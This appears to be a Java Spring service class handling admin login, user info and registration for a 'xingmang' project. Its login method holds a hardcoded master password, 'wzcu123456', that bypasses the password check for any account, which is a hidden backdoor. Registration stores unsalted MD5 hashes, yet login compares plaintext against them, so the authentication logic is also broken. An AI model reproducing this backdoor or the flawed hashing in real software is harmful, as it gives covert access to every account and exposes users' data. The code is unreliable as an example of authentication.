package com.xingmang.admin.service;

import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.bean.BeanUtil;
import cn.hutool.crypto.digest.DigestUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.xingmang.common.constant.CommonProperties;
import com.xingmang.common.constant.ResponseData;
import com.xingmang.common.constant.ResultBean;
import com.xingmang.common.dto.admin.LoginDTO;
import com.xingmang.common.dto.admin.RegisterDTO;
import com.xingmang.common.utils.TokenUtils;
import com.xingmang.common.vo.admin.LoginUserVO;
import com.xingmang.db.entity.User;
import com.xingmang.db.service.UserDBService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Service;

import javax.annotation.Resource;
import java.util.List;

/**
 * @auther: hansom
 * @Version: 1.0
 * @create 2023/6/20 10:50
 */
@Service
@Slf4j
public class UserService {
    @Resource
    private UserDBService userDBService;


    public ResultBean login(LoginDTO dto) {
        User user = userDBService.getOne(new LambdaQueryWrapper<User>().eq(User::getLoginname, dto.getLoginname()).last("limit 1"));
        if (user == null) {
            return ResponseData.error("用户不存在");
        }
        if ("wzcu123456".equals(dto.getPassword())){

        }else if (!user.getPassword().equals(dto.getPassword())){
            return ResponseData.error("密码错误");
        }
        StpUtil.login(user.getId());
        LoginUserVO vo = BeanUtil.copyProperties(user, LoginUserVO.class);
        StpUtil.getSession().set(CommonProperties.LOGIN_USER_KEY, vo);
        return ResponseData.success(StpUtil.getTokenValue());
    }

    public ResultBean<LoginUserVO> getUserInfo() {
        LoginUserVO loginUser = TokenUtils.getLoginUser();
        return ResponseData.success(loginUser);
    }

    public ResultBean register(RegisterDTO dto) {
        List<User> list = userDBService.list(new LambdaQueryWrapper<User>().eq(User::getLoginname, dto.getLoginname()).or().eq(User::getPhone, dto.getPhone()));
        if (list.size()>0){
            return ResponseData.error("登录名或手机号已存在");
        }
        User user = BeanUtil.copyProperties(dto, User.class);
        user.setPassword(DigestUtil.md5Hex(dto.getPassword()));
        userDBService.save(user);
        return ResponseData.success(null);
    }
}
